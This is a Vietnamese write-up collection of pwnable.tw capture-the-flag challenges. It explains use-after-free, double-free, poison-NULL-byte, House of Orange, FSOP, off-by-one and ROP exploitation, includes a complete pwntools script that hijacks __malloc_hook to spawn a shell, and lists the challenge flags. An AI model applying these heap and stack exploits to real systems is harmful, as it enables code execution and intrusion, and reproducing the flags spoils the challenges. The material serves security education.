hacknote [200 pts]
A good Hacker should always take good notes!
nc chall.pwnable.tw 10102
hacknote
libc.so
Image Not Showing
Possible Reasons
- The image was uploaded to a note which you don't have access to
- The note which the image was originally uploaded to has been deleted
Learn More →
- check ida (vì file bị stripped nên hình dưới đây có chỉnh sửa tên hàm cho dễ nhìn)
Image Not Showing
Possible Reasons
- The image was uploaded to a note which you don't have access to
- The note which the image was originally uploaded to has been deleted
Learn More →
main()
Image Not Showing
Possible Reasons
- The image was uploaded to a note which you don't have access to
- The note which the image was originally uploaded to has been deleted
Learn More →
tạo struct để ida trông dễ khai thác hơn
Image Not Showing
Possible Reasons
- The image was uploaded to a note which you don't have access to
- The note which the image was originally uploaded to has been deleted
Learn More →
add()
storaged là biến đếm
chunk là mảng(struct)
chunk[i]->write là hàm output()
Image Not Showing
Possible Reasons
- The image was uploaded to a note which you don't have access to
- The note which the image was originally uploaded to has been deleted
Learn More →
output()
in ra vị trí edi+4 (edi là đầu vào)
Image Not Showing
Possible Reasons
- The image was uploaded to a note which you don't have access to
- The note which the image was originally uploaded to has been deleted
Learn More →
delete()
Image Not Showing
Possible Reasons
- The image was uploaded to a note which you don't have access to
- The note which the image was originally uploaded to has been deleted
Learn More →
show()
thực thi hàm output()
analyse
- phân tích:
- mỗi note là một struct gồm 2 thành phần:
- note.write: con trỏ trỏ tới hàm output(), có chức năng in nội dung trong note.data
- note.data: chứa nội dung của note
- mỗi khi 1 note mới được tạo sẽ có 2 malloc() được gọi:
- chunk[i] = malloc(8)
- chunk[i]->data = malloc(size)
- mỗi khi xóa 1 note, có 2 câu lệnh free() được gọi:
- free(chunk[i]->data)
- free(chunk[i])
- for example: tạo 2 chunk size 32 data là 'abcd' và 'efgh'
Image Not Showing
Possible Reasons
- The image was uploaded to a note which you don't have access to
- The note which the image was originally uploaded to has been deleted
Learn More →
chunk 0: chunk[0] 8 byte đầu là metadata
0x0804862b là địa chỉ hàm output() (highlight vàng)
0x0804b018 là địa chỉ note.data là ngay hightlight lam
------
chunk 1: chunk[0] 0x804b010 (bao gồm metadata); note.data là highlight lam 'abcd'
chunk 2: chunk[1] 0x804b038 (bao gồm metadata); tương tự chunk 0
chunk 3: chunk[1] 0x804b048 (bao gồm metadata); note.data là hightlight lục 'efgh'
- next: xoá 2 chunk trên, kiểm tra fastbins (vì file libc đề cho k có tcache)
Image Not Showing
Possible Reasons
- The image was uploaded to a note which you don't have access to
- The note which the image was originally uploaded to has been deleted
Learn More →
có thể thấy nếu ta add note 1 lần nữa với size 8 –-> chunk size 0x10 sẽ có thể sử dụng lại chunk
––> kỹ thuật UAF
reused 0x804b040 để gán chunk[2]
reused 0x804b008 để gán chunk[2]->data
Image Not Showing
Possible Reasons
- The image was uploaded to a note which you don't have access to
- The note which the image was originally uploaded to has been deleted
Learn More →
add note size 8 content 'aaaa\n'
–-> hoàn toàn control dc địa chỉ output() với note.data
exploit
- hướng đi: tạo shell từ libc
- ta cần leak libc trước
- vì có thể control đc địa chỉ output() và note.data nên sẽ dùng func show() để thực thi output() in ra thay vì in content sẽ in GOT của
puts
(trong output() có puts@plt
)
Image Not Showing
Possible Reasons
- The image was uploaded to a note which you don't have access to
- The note which the image was originally uploaded to has been deleted
Learn More →
- có libc sẽ tiếp tục lấy shell
- thay vì thực thi output() thì ta sẽ thực thi system() với arg là /bin/sh
- nhưng vì file 32 bit nên truyền '/bin/sh\0' bất khả thi nên ta truyền 'sh' nhưng để đủ 4 byte thì truyền '||sh'
vì sao lại '||sh' thì có thể coi wu bài cmd_center
- gọi show() lên là có shell
Image Not Showing
Possible Reasons
- The image was uploaded to a note which you don't have access to
- The note which the image was originally uploaded to has been deleted
Learn More →
FLAG{Us3_aft3r_fl3333_in_h4ck_not3}
orw [100 pts]
Read the flag from /home/orw/flag
.
Only open
read
write
syscall are allowed to use.
nc chall.pwnable.tw 10001
orw


main()

orw_seccomp()

- từ tiêu đề và seccomp cho thấy, shellcode ta truyền vào chỉ giới hạn lại quyền
open
read
và write
- dùng tool shellcraft cho tiện =)))
tham khảo wu bài shell_basic

FLAG{sh3llc0ding_w1th_op3n_r34d_writ3}
Tcache Tear [200 pts]
Make tcache great again !
nc chall.pwnable.tw 10207
tcache_tear
libc.so

- check ida (stripped nên renamed lại)

main()
v4 = 0, maximum được free(ptr) là <=7

add()
giới hạn lại size < 0xff

show()
analyse
- điểm qua những địa chỉ cần lưu ý

0x602060 ở lần nhập đầu cho biến name

0x602088 là biến ptr cho hàm free()
- ở option2 là
free(ptr)
có thể đoán được là lỗi DBF
- thử malloc 1 chunk và double free:

loop detected
- tiếp tục malloc 1 chunk với size như cũ

malloc cùng size nhưng data truyền vào là b'bbbbb' –-> thay đổi fw thành 0x62626262
===> control được fw chunk hiện tại

ví dụ thử truyền thành địa chỉ biến name_addr
- vậy nếu ta tiếp tục malloc 1 chunk cùng size như trên thì tcache_bin sẽ xem địa chỉ mình control được ở trên lấy cho chunk mới
==> summary : ghi đè system vào free_hook, call free lấy shell
way1 : create fake chunk
- cách này sẽ tận dụng lỗi
tcache_entry
- ta sẽ leak libc nhờ vào ubin (unsorted_bin)
- nếu vậy ta cần free 1 chunk có size lớn hơn 0x410
- nhưng khó là trong ida bị giới hạn chọn size là < 0xff

- vậy ta phải lựa 1 heap nào có thể ghi đè size thành 0x450 chẳng hạn
- ta thấy địa chỉ của
name_addr
ở lần nhập đầu có quyền rw_section
- ta sẽ dựa vào bug phía trên, ghi thử nội dung ntn
add(b'aaaa') --> delete ---> delete ---> add(name_addr)
- vậy ta cần sẽ free con trỏ
name_addr
(cần set size trước khi free)
đặc biệt là khi free, sẽ lấy con trỏ 0x602088
nhưng biến name_addr lại là 0x602060
idea : sửa con trỏ của free thành name_addr
sau khi add delete delete rồi add lần nữa thì trong tcache còn bin chưa reused nên add một lần nữa để lần add cho payload sau sẽ k reused bin còn lại
nôm na ntn: add delete delete –-> tcache có 2 bins bị loop
phải add thêm 2 lần để used hết 2 bins đó
rồi add cho payload rồi free cho k bị resued bin cũ

- lúc này ta sẽ bị 1 lỗi khá nhức đầu ở đây
- anh chino_kafuu hướng dẫn 😆: link

hiêu là sẽ kiểm tra nextchunk có size dc set là INUSE hay không



nextchunk được tính là con trỏ vùng nhớ + size
- ohlala
- vậy lỗi chúng ta là cần chỉnh size của
name_addr + 0x450 - 0x8
- nhưng cần làm sao?
- z phải tạo 2 chunk
- 1 fakechunk ở
name_addr+0x450
- 1 chunk cho
name_addr
- test:
tạo fakechunk thì tạo size nho nhỏ thui
không cần free, vì mình tạo fakechunk mà
vì là fakechunk nên mình chọn size khác với size hiện tại (128+16)
và cần lưu ý là set cho cả size phía sau
(k quan trọng size bao nhiu, miễn có bit 0x1 đánh dấu)
nếu k sẽ bị lỗi sau

- ổn rồi thì ta sẽ tạo được 1 cái ubin

- và nếu ta chọn option show() thì nó sẽ in ra thông tin biến
name_addr
của mình (là main_arena)


- leak libc xong, việc mình bây giờ là ghi đè free_hook thành system bằng cách

offset = 0x3ebca0
- last but not least, thêm chuỗi '/bin/sh' bằng cách add 1 lãn nữa, lúc này '/bin/sh' sẽ trỏ ở $rdi nên delete one more time will gain shell


FLAG{tc4ch3_1s_34sy_f0r_y0u}
way2 : attack tcache_perthread_struct
- cách này sẽ tận dụng cơ chế
tcache_perthread_struct
tcache_perthread_struct
về căn bản là tcache
- cấu trúc nó sẽ gồm 2 phần:
- phần counts : bộ đếm
- phần entries : địa chỉ các chunks
- tìm hiểu thêm
- ta sẽ brute 2 bytes ngẫu nhiên khi chạy động (2 bytes trong địa chỉ heap)
- nhưng trước mắt ta cứ
NOASLR
để dễ DEBUG

sau khi delete() 2 lần
- ở hướng khai thác lần này, sẽ đổi tool từ gef sang pwndbg cho thuận tiện =)))))))))
- lần add() tiếp theo sẽ sửa chunk tại địa chỉ 0x603260
- ta sẽ giả sử sửa lên chunk 0x603200 đi, thì payload là b'\0' (sửa 1 bytes)
- sau đó add() tiếp theo ta cũng giả sử là name_addr đi

- tức là lần add() tiếp theo nữa ta sẽ sửa nội dung trong chunk 0x603200 –-> ow các entries của
tcache_perthread_struct

- nhưng cái khó là muốn malloc ra từ những chunks đó là điều không thể (chall cho phép size < 0xff, trong khi cần đến hơn 0x300)
- thế ta chỉnh xuống entry nhỏ nhiều xíu

lấy 0x6030a0 (do 0x603090 là nơi ở lúc trigger DBF ngay đó rồi, né nó ra thui :v )

lúc này size nhỏ lại rồi nè
- vậy ta cần setup trước next_chunk bằng cách add(0xd0), size
0xd0 + 0x10 = 0xe0
–> moi 0x6024a0 ra
- sau đó setup name_addr bằng cách add(0xb0) , size
0xb0 + 0x10 = 0xc0
–> moi name_addr - 0x10
ra
tại sao lại setup next_chunk trước ?
- khó tin thì cứ thử setup name_addr trước rồi next_chunk sau đi
- delete() nó lại lấy ptr là 0x6024a0 là địa chỉ
next_chunk-0x10

- cái này cũng đíu hiểu tại sao 🥲
- nhưng setup next_chunk trước thì lại được 🙃
ai biết ib giải thích nha =)))))
- sau đó delete() là free(name_addr) rồi
- show() để leak libc
- và phần còn lại là
__free_hook
với system
và /bin/sh\0
thôi (tương tự way1)
- script:
FLAG{tc4ch3_1s_34sy_f0r_y0u}
Start [100 pts]
Just a start.
Don't know how to start?
Check GEF 101 - Solving pwnable.tw/start by @_hugsy
nc chall.pwnable.tw 10000
start


- từ ida ta thấy gọi syscall
read
lên (thanh ghi ax = 3) với size là 0x3c
- kết thúc syscall read tiếp tục
add esp,0x14
rồi mới ret

lỗi BOF
- vậy ta cần phải ret về đâu? (có luôn
No PIE
)
- vì
NX disabled
nên ta sẽ chèn shellcode
- muốn stack thực thi shellcode thì ngay bước ret ta phải ret stack
- vậy ta cần leak stack bằng cách tận dụng hàm sys_write, ret về 0x08048087

lấy esp đưa vào ecx
lượng in ra là 0x14

de, đúng như dự đoán là in ra 5 dòng địa chỉ này
vậy ta cần tính offset stack trỏ về shellcode mình thôi là được
shellcode lụm trên mạng

FLAG{Pwn4bl3_tW_1s_y0ur_st4rt}
Death Note [250 pts]
Write the shellcode on your Death Note.
nc chall.pwnable.tw 10201
death_note


main()

show_note()

del_note()

add_note()
analyse
- tổng quát ở add_note(), del_note() và show_note() đều có lỗi OOB (truy cập ngoài mảng, idx số âm)
- trong hàm add_note() có 1 hàm nhỏ là is_printable() mục đích là kiểm tra payload của ta phải là những kỹ tự in được (theo bảng mã ascii)
- và có hàm strdup() trả về con trỏ heap chứa payload của mình

- điểm qua địa chỉ đáng nghi:

note = 0x0804a060
- idea: chèn shellcode vào free_got rồi chọn option del_note() để execute shellcode của mình
- nhưng shellcode của ta chắc chắn có byte không in được
–-> shellcode custom
- link hỗ trợ viết shellcode
- ascii check các byte in được

dấu hiệu là những byte có số đầu từ 0x2_ đến 0x7_ (tránh luôn byte NULL)

có sẵn $edx = 0x0
writting shellcode
setup LOCAL
- setup gdb để chạy shellcode

dừng sau lệnh strdup() để tạo heap
tính offset của heap
hoặc set thẳng con trỏ heap được trả về do strdup() là địa chỉ stack chứa payload của mình (stack lúc đó có 3 quyền rwx)

get flag

FLAG{sh3llc0d3_is_s0_b34ut1ful}
Secret Of My Heart [400 pts]
Find the secret in my heart!
nc chall.pwnable.tw 10302
secret_of_my_heart
libc.so

- check ida (renamed cho dễ hình dung)

main()

menu()

index() (nhập idx vào thôi)

add()

biến ptr là địa chỉ bss
offset = 0x0000000000202018

read_data() (nhập content vào heap)
name nhập 0x20 vào vùng nhớ bss (nằm ngoài exe)

read_func() (nhập payload)

delete()

free_data() (free con trỏ ptr)

show()

hidden()
có cả hàm ẩn nằm ngoài menu()
với idx là 4869
cho phép ta biết địa chỉ biến ptr
đồng thời sẽ exit(0)
có lẽ hàm này sẽ đíu cần tới đâu ◑﹏◐
===> không có system, win –-> leak libc –-> ow hook = system –> get_shell
analyse
- vì file bị stripped cộng với PIE bật nên khi debug sẽ thêm tham số
NOASLR
- phân tích kỹ một chút ở phần này


v2 là size
qua hàm read_data() có đối số là *a1 và a2
tương ứng $rdi là con trỏ ptr và $rdx là v2
gắn $rdi là con trỏ trỏ đến v2
sau đó name sẽ nằm từ (a1 + 1) và dài 0x20
kế đến a1[5] là pointer heap trỏ đến secret
gef➤ x/20xg <addr2> |
|
|
<addr2> |
size |
name |
<addr2 + 0x10> |
name |
name |
<addr2 + 0x20> |
name |
*secret |
- nếu như ta nhập full cho name thì khi chọn option 2 là show() ta sẽ leak đc pointer của heap secret


- nhưng leak dc heap nó vô nghĩa lắm =))))
- idea để leak libc: đưa main_area vào bên trong heap để khi show() nó sẽ leak dc
- BUG:

==> poison NULL byte
BUG : poison NULL byte
- về kỹ thuật poison NULL byte ta cần đầu độc chunk victim của mình
- vậy ở đây ta sẽ fake cái main_area lẫn vào trong mấy cái chunk fake
- chunk fake ở đây nghĩa là chương trình sẽ vẫn giữa nguyên pointer của thứ tự mấy cái chunk ta tạo ra, nhưng lại bị nhầm lẫn khi ta poison NULL vào, khiến cho những chunk sau cái chunk ta poison cái size sẽ bị rơi vào vùng lưng chừng
nói trắng ra là làm chương trình bị ngu ngu về bins và chunks =))))
leak libc (main_area)
free_hook + '/bin/sh\0' + system (not worked)
- idea ban đầu sẽ là truyền '/bin/sh\0' vào 1 trong các chunk, ghi system vào
__free_hook
rồi delete() chính cái chunk chứa '/bin/sh\0' sẽ lấy làm $rdi rồi có shell
- nhưng cách này bị lỗi
incorrect fastbin_index
khi mà muốn ow fw của bin chứa __free_hook
nhưng ở địa chỉ __free_hook - 0x8
lại không có size phù hợp để cùng chứa chung 1 fastbin

- khi đó nếu add() 1 lần nữa với size kia thì sẽ bị lỗi
malloc(): memory corruption (fast): <addr>

malloc_hook + one_gadget
- sau khi leak libc, sẽ delete(2) rồi add() 1 lãn nữa các chunk giống như cách leak libc
để tạm fake_chunk là __malloc_hook
- 0x10
- tiếp tục poison NULL byte
- khi poison xong, ta sẽ add() thêm vài chunk để consolidate chunk bị poisoned
- Khi ta delete(10) và delete(12), malloc sẽ nhầm chunk 11 đã được freed (not in use) nên sẽ gộp chunk 10 11 12 thành một

idx12 check prev_size là 0x210 , free sẽ lấy 4720 - 210 = 4510 (idx10)
–>consolidate
- như vậy ta đã có thể ow chunk 11 bằng chunk 10
- ow size chunk 11 để khi free nó vào fastbin
ban đầu 0xf8 + 0x8 là 0x101 bây giờ là 0x71

45a0 là idx11 (sau khi delete(11) )
- tiếp tục delete(10) để sửa fd idx11 cho lần malloc lại idx10 cùng size
- add() lúc này để truyền fake_chunk vào đúng vị trí idx11

- ow fd rồi malloc ra để lấy chunk 45a0 ra còn fake_chunk trong fastbin

vì sao lại malloc_hook - 35 ?
để ta cần 1 cái fake size khác 0 (cụ thể là size 0x71)

do bật NOASLR nên size nó bị ngu (0x15)
nhưng thực tế là size 0x7f (convert thành 0x71 trong fastbin)
và malloc_hook nó nằm ở khoảng 3b10
thì khi mình bắt đầu malloc từ đó padding cho tới malloc_hook rồi chèn one_gadget
- lần add() tiếp theo sẽ lấy fake chunk ra
- ow malloc_hook, vì khi có lỗi (Aborted), sẽ call malloc_hook

trên local nếu còn bật NOASLR thì bị báo lỗi
mục tiêu bỏ NOASLR mà k lỗi, nhưng vẫn cần thông báo Arboted để trigger malloc_hook
siêng thì debug tắt NOASLR rồi ni
từng cái =)))))

lúc này siêng nên ni
từng cái
tại malloc_hook đã có one_gadget
- thế giả sử chạy script bên ngoài (có ALSR) thì không có xuất hiện lỗi Aborted, vậy thì ta sẽ khiến cho nó có bằng cách trigger lỗi DBF


- cùng 1 con trỏ, delete() thì nó ra sao ?

lúc này nó lại tiếp tục free cùng 1 con trỏ đã free ( delete(2) )
- local muốn có shell thì tắt tham số 'NOASLR' nha

get flag

from pwn import *
context.binary = exe = ELF('./secret_of_my_heart_patched', checksec=False)
libc = ELF('./libc_64.so.6', checksec=False)
ld = ELF('./ld-2.23.so', checksec=False)
def GDB():
if not args.REMOTE:
gdb.attach(p, gdbscript='''
#b*__libc_start_main+238
#b*0x5555554011ac
#b*0x555555400e20
ni
''')
input()
info = lambda msg: log.info(msg)
sla = lambda msg, data: p.sendlineafter(msg, data)
sa = lambda msg, data: p.sendafter(msg, data)
sl = lambda data: p.sendline(data)
s = lambda data: p.send(data)
if args.REMOTE:
p = remote('chall.pwnable.tw',10302)
else:
p = process(exe.path)
GDB()
def add(size,name,secret):
sla(b'choice :',b'1')
sla(b':', str(size))
sa(b':', name)
sa(b':',secret)
def show(idx):
sla(b'choice :',b'2')
sla(b'Index :',str(idx))
def delete(idx):
sla(b'choice :',b'3')
sla(b'Index :',str(idx))
def hidden():
sla(b'choice :',b'4869')
add(0x60,b'A'*0x20,b'aaaa')
show(0)
p.recvuntil(b'A'*0x20)
heap = u64(p.recv(6) + b'\0\0')
info('heap leak: ' + hex(heap))
delete(0)
add(0x68,b'aaaa',b'aaaa')
add(0x100,b'bbbb',b'bbbb')
add(0x100,b'eeee',b'eeee')
add(0x100,b'cccc',b'cccc')
add(0x100,b'dddd',b'dddd')
delete(1)
delete(2)
delete(0)
add(0x68,b'BBBB',b'/bin/sh\0'.ljust(0x68,b'b'))
add(0xb0,b'CCCC',b'CCCC')
add(0x10,b'DDDD',b'DDDD')
add(0x10,b'EEEE',b'EEEE')
add(0x80,b'FFFF',b'FFFF')
delete(1)
delete(3)
add(0xd0,b'GGGG',b'GGGG')
show(5)
p.recvuntil(b'Secret : ')
libc_leak = u64(p.recv(6)+b'\0\0')
libc.address = libc_leak - 0x3c3b78
info('libc leak: ' + hex(libc_leak))
info('libc base: ' + hex(libc.address))
delete(2)
malloc_hook = libc.sym['__malloc_hook']
fake_chunk = malloc_hook - 0x23
add(0x40,b'aaaa',p64(fake_chunk))
add(0xf0,b'bbbb',b'bbbb')
add(0xf0,b'cccc',b'cccc')
add(0x60,b'cccc',b'cccc')
add(0x40,b'aaaa',p64(fake_chunk))
add(0xf0,b'bbbb',b'bbbb')
add(0x100,b'cccc',b'a')
add(0x80,b'cccc',b'cccc')
add(0x80,b'cccc',b'cccc')
delete(9)
delete(10)
delete(11)
add(0x48,b'AAAA',b'\0'*0x48)
add(0x80,b'BBBB',b'11111111')
add(0xf8,b'BBBB',b'22222222')
delete(10)
delete(12)
payload = flat(
b'a'*0x80,
0,0x71,
b'b'*0x60,
0)
add(0xf8,b'DDDD',payload)
add(0x50,b'BBBB',b'22222222')
delete(11)
delete(10)
payload = b'a'*0x80
payload += p64(0) + p64(0x71)
payload += p64(fake_chunk)
add(0xf8,b'DDDD',payload)
add(0x68,b'FFFF',b'a')
one_gadget = [0x45216, 0x4526a, 0xef6c4, 0xf0567]
add(0x68,b'EEEE',b'A'*19+p64(libc.address + one_gadget[2]))
delete(2)
delete(5)
p.interactive()
FLAG{It_just_4_s3cr3t_on_the_h34p}
BookWriter [350 pts]
I fixed some bug of memo from bkp CTF 2017 and modified some control flow, but it's still pwnable.
Can you pwn it again?
nc chall.pwnable.tw 10304
bookwriter
libc.so

- check ida (stripped nên renamed lại)

main()

author()
nhập tên author vào địa chỉ bss : 0x602060 (max size 0x40)


add()
thêm 1 page mới (tối đa 8 pages)
lưu pointer chunk tại 0x6020a0

size lưu tại 0x6020e0


view()
show content của page đó

edit()
chỉnh sửa content của page đó

show()
hiển thị tên author cùng số pages được tạo
và cho sự lựa chọn đổi tên author
analyse
leak heap
- nhận thấy là nó lưu ptr chunk tại 0x6020a0,

- trong khi author() nó nhập data từ 0x602060
–-> leak heap bằng cách ow full author từ 0x602060 đến 0x6020a0 (64 bytes = 0x40 hexa bytes)

lần show() tiếp theo sẽ in ra author kèm địa chỉ heap
overflow size
- thêm một BUG nhỏ ở đây có thể overflow

cập nhật size khi edit()
ví dụ add(0x18) thì ở 0x6020e0 lưu 0x18
nhưng sau khi edit() thì từ 0x18 lên 0x1b
bởi nó strlen() từ nội dung chunk đến size của top_chunk mới dừng (dừng ở NULL bytes)
–-> dẫn đến lần edit() tiếp theo nữa có thể ow size của top_chunk
===> House of Orange

BUG : House of Orange
leak libc
- là 1 kỹ thuật có được 1 freed chunk block (nằm trong ubin) mà không cần hàm free()
- khi đã sửa được size của top_chunk, lần request malloc tiếp theo sẽ đẩy old_top_chunk vào ubin
- và malloc thì sẽ ghi lại chỗ fd và bk của old_top_chunk
- ta cần ghi full 8 bytes đầu cho fd thì khi leak sẽ leak luôn bk đằng sau
- view(1) sẽ có được thông tin main_area

FSOP
- ở đây ta cần setup vtable để trigger malloc_printer có shell
- theo như cách khai thác trên how2heap thì ta lưu ý những điểm sau
- việc ta cần là setup như trên, nhưng thấy là khi setup đến
//top+0xd8
thì quá lớn, nên dự định là sẽ add() 1 lượng chunk nhất định
- sau đó edit(0) để sửa những chỗ mong muốn
tầm 7 chunks
ghi fake_size ngay 0x6020e0

edit() tiếp theo có thể overflow rất nhiều, thong thả luôn
setup FSOP
- ta tính offset từ chunk idx0 đến new_top_chunk

padding 0x170
memcpy( ( char *) top, "/bin/sh\x00", 8);
- tại đây sẽ là chuỗi '/bin/sh\0'
180 : '/bin/sh\0'
top[1] = 0x61;
- tại đây sẽ là size 0x61
- còn vì sao lại size 0x61 thì coi lại chú thích source trong how2heap
188 : 0x61
top[3] = io_list_all - 0x10;
- tại đây gắn p64(io_list_all)
198 : p64(io_list_all)
còn top[2] (190) gắn cái gì cũng được (cho là 0xdeadbeef đi cho dễ nhận biết)
fp->_IO_write_base = (char *) 2; // top+0x20
1a0 : p64(2)
fp->_IO_write_ptr = (char *) 3; // top+0x28
1a8 : p64(3)
fp->_mode = 0; // top+0xc0
- đơn giản là
.ljust(0xc0,b'\0')
thôi

ở 240
size_t *jump_table = &top[12]; // controlled memory
- setup vtable_addr là địa chỉ heap top[12]
- thực ra không nhất thiết là top[12], vì chỉ cần chỗ đó là controlled memory là được
new_top_chunk là heap_base + 0x180
- do nếu tính thử thì top[12] tới mỗi 1e0 thôi
(do lười setup đoạn .ljust(0xd8,b'\0')
)
- nên là dời xuống 1 tẹo cho hết offset là 0xd8
- bắt đầu ghi từ 260

jump_table[3] = (size_t) &winner;
*(size_t *) ((size_t) fp + sizeof(FILE)) = (size_t) jump_table; // top+0xd8

top+0xd8 là heap_addr 260 trỏ tiếp vị trí bên dưới rồi jump_table[3] là system
get flag

- script: (hên xui trúng shell, chạy 2 3 lần là được)
FLAG{Th3r3_4r3_S0m3_m4gic_in_t0p}
Silver Bullet [200 pts]
Please kill the werewolf with silver bullet!
nc chall.pwnable.tw 10103
silver_bullet
libc.so


main()
sói và đạn có dạng struct
- sói gồm : int power và char *name
- đạn gồm : char name[0x30] và int power

menu()

create_bullet()
tạo 1 viên đạn name dài tối đa 0x30
set power của đạn là len(name) sau cái name (power = name+48)

power_up()
tăng sức mạnh vien đạn bằng cách nối dài chuỗi
NHƯNG không thể kéo dài name vượt quá 0x2f

beat()
bắn đùng đùng đùng píu píu píu
thắng sẽ return 1
, còn lại thua hay không có đạn sẽ return 0
BUG
- bug chính trong bài này có lẽ nằm ở hàm strncat()
thêm NULL byte vào cuối chuỗi

–-> off_by_one
exploit
📝 power của bullet ở địa chỉ $ebp-0x4
- nhìn kỹ vào hàm power_up(), nó sẽ check 1 đoạn nếu power lớn hơn 0x2f thì không thể tăng sức mạnh được (bằng 0x2f thì vãn có thể tăng tiếp)
- nhưng giả sử ta tạo viên đạn 0x2f thì khi power_up() lên cũng chỉ ghi thêm số byte còn lại cho đủ 0x30 à (max ghi được là 0x30 - power)
- thì làm sao hạ được con boss werewolf đây ? (power 0x7fffffff)
- dựa vào bug off_by_one tạo bởi hàm strncat(), ta sẽ setup power về 1 bằng cách tạo đạn 0x2f, úp sức mạnh 0x1 và dựa vào bug thì có 0x30 cho name + 0x1 byte NULL –-> set power về 1 ===> có thể tiếp tục power_up() lần sau
- mẫu cho tạo đạn 0x2f (b'a'*0x2f), up 0x1(b'b'):

set power về thành 1

lúc này nó lại ghi tiếp từ power đạn trở đi
- ở lần sau, ta hoàn toàn có thể ow ebp cho lần ghi đè power

leak libc
- ta sẽ tận dụng libc đề bài cho để leak GOT của hàm puts()
- thì lần power_up() tiếp theo sẽ là được ghi max 0x2f (do power lần này chỉ có 1)

- đồng thời offset sẽ tính từ byte tiếp theo của power bullet (3 bytes cho power + 4 bytes padding ebp)
- ta sẽ fake power lớn nhất có thể :
0xffffff..
(với 2 chấm '. .' là len(name) ta sửa)
- và khi return điều ta cần là in dữ liệu ra, ta sẽ chọn
puts@plt
- sau đó lặp lại chương trình bằng
exe.sym['main']
- nhưng khi in dữ liệu bằng plt ta cần 1 địa chỉ libc bằng trong đó để in ra

lúc này sẽ lấy $ebp+0x8 làm con trỏ để in ra
- nên sau cái lặp lại
exe.sym['main']
đó sẽ là puts@got
$eip là puts@plt (khi return)
$ebp+0x4 là exe.sym['main']
$ebp+0x8 ta lấy puts@got là hợp lí nhất
system + b'/bin/sh\0'
- code chỗ này ta sẽ lặp lại như cách leak libc
- nhưng ở phần ow buffer, check ở hàm system

nó lấy $esp+0x10 làm con trỏ (trước đó nó sub esp, 0xc
)
$eip là system
$esp+0x4 là padding
$esp+0x8 là '/bin/sh\0'

get flag

FLAG{uS1ng_S1lv3r_bu1l3t_7o_Pwn_th3_w0rld}
3x17 [150 pts]
3 x 17 = ?
nc chall.pwnable.tw 10105
3x17

- check ida (file stripped nên tìm hàm main hơi lỏ)

main()
nhập lần đầu là addr
nhập lần hai là content
có thể đây là chức năng ghi đè 1 địa chỉ thành 1 dữ liệu ta muốn
analyse

- chạy thử file thì đúng như những gì hàm main() thực hiện
- nhưng chạy xong là end chương trình luôn
- nên BUG có thể nằm ở hàm huỷ –-> tận dụng khả năng ghi đè để ow
.fini_array
thành hàm main() 1 lần nữa
===> lặp vô hạn
- ngoài ra với khả năng trên, chả phải ta có thể ghi thoải mái dữ liệu vào rồi –-> BOF thong thả
- nhưng lặp quài phải có điểm dừng –-> lấy shell bằng execve
- hướng đi sẽ là ROPchain
setup loop main
- vì file bị stripped nên không thể sử dụng
exe.sym['main']
như bình thường
- ta phải tự tìm địa chỉ thông qua ida

main = 0x401b6d
- nhưng ida lỏ vcl không show tên hết được nên chuyển qua ghidra

fini_array = 0x4b40f0
- coi qua hàm entry() trong ghidra


tham số đầu là hàm 0x401b6d –-> hàm main() đây
tham số kế cuối 0x4028d0:

là gọi hàm .init_array khi bắt đầu 1 chương trình
tham số cuối 0x402960:

thấy là sẽ gọi hàm 0x4b40f0 là .fini_array đấy
đặt tên cho 0x402960 là fini_array_call
- vậy bây giờ ta sẽ ghi như thế này:
addr = p64(fini_array)
data = p64(fini_array_call) + p64(main)
- như thế khi kết thúc chương trình sẽ nhảy vào fini_array và gọi hàm main() lại rồi cuối cùng quay lại fini_array_call một lần nữa fini_array
why and how?
- sao không đặt main lên đầu?
- bởi nếu đặt main lên đầu thì loop lại main nhưng không thể dừng program lại
- ta phải đặt fini_array_call lên trước để set main trong fini_array
- ngoài ra ở addr ta phải truyền dưới dạng str()

- truyền bytes thì không thể lặp lại được 😑

–-> trigger thành công loop lại hàm main()
setup ROPchain
- thứ ta cần là khi lặp lại, cần có 1 địa chỉ return vào ROPchain
- thì logical thinking là tận dụng chính địa chỉ fini_array luôn
- chỉnh lại:
addr = p64(fini_array + offset)
data = p64(ROPchain)
- offset đó ta phải tính toán, và cuối cùng muốn syscall execve, ta phải return vào chuỗi ROP của mình bằng gadget
leave;ret
get flag

FLAG{Its_just_a_b4by_c4ll_0riented_Pr0gramm1ng_in_3xit}
dubblesort [200 pts]
Sort the memory!
nc chall.pwnable.tw 10101
dubblesort
libc.so

- check ida (stripped nên sẽ renamed lại)

main()

sort()
analyse
- chương trình sẽ cho ta nhập tên (size 0x40) vào, sau đó in ra và hỏi số 'số muốn sắp xếp'
- nhưng ở đây lại có BUG

nhập mỗi 'a', tại sao lại in thêm những kí tự lạ đằng sau???
leak libc
- tới đây nghi ngờ do hàm __printf_chk tương tự như printf (in đến khi gặp NULL bytes)
- check trong gdb

dữ liệu bắt đầu từ $esi cf8c
cần đến cfa8
vì tại đó là địa chỉ của libc (0xf7c… –> 0xf7e…)
tránh lấy địa chỉ trên vì bytes tiếp theo là NULL (dù nó cũng trong địa chỉ của libc)

offset leak = 0x1c
offset base = 0x1ae244

- có được địa chỉ libc rồi tiếp theo ta phân tích đến BUG kế
- NHƯNG NHƯNG NHƯNG NHƯNG NHƯNG NHƯNG NHƯNG 🥲
- trên server lại không leak được

- thử tăng 1 byte lại leak được, nhưng như thế sẽ ghi đè 1 byte leak
- việc ta cần sẽ trừ byte ow đó, ngoài ra còn cần trừ thêm offset nào đó nữa

- nhìn thấy là ghi đè byte 'a' (0x61) mà 3 byte cuối lại là 061
- nảy sinh nghi ngờ nó sẽ leak địa chỉ chẵn nào đó của libc trong
vmmap
- thì 1 hôm đẹp trời nhớ từng đọc 1 bài nào đó
- nó như thế này
- nếu leak ra ở libc ngay cuối của
vmmap
(như ở hình trên cd00) thì chỉ cần ta tính offset từ đó đến libc_base

- hoặc dùng lệnh
readelf -S

mà nếu không biết thì cứ thử trừ từng offset của địa chỉ chẵn trong đó là được =)))))))))))
canary?

- ở đây num_array được khai báo là mảng 8, nhưng num nhập vào lại không có check phải bé hơn 8 –-> buffer overflow
- vì có canary nên tính offset đến đó


từ 0 đến 23 là bình thường
nhưng đến số 24 sẽ ow canary là số 2 ===> báo 'stack smashing detected' là chuẩn bài
- nhưng ow canary là 1 byte không phải số thì bypass được
- ở đây thử b'a' thì không được, có lẽ hình như quy tắc ở đây là những số sau canary phải lớn hơn chính nó (do hàm sort())
- với byte '-' và '+' thì bypass được lượng số lớn như system và binsh
ret2libc
- đơn giản vì NX bật, không có hàm win mà lại có BOF ===> ret2libc thôi

- vậy ta cần padding system vừa đủ rồi sau đó mới binsh
(vì do hàm sort() và binsh > system)
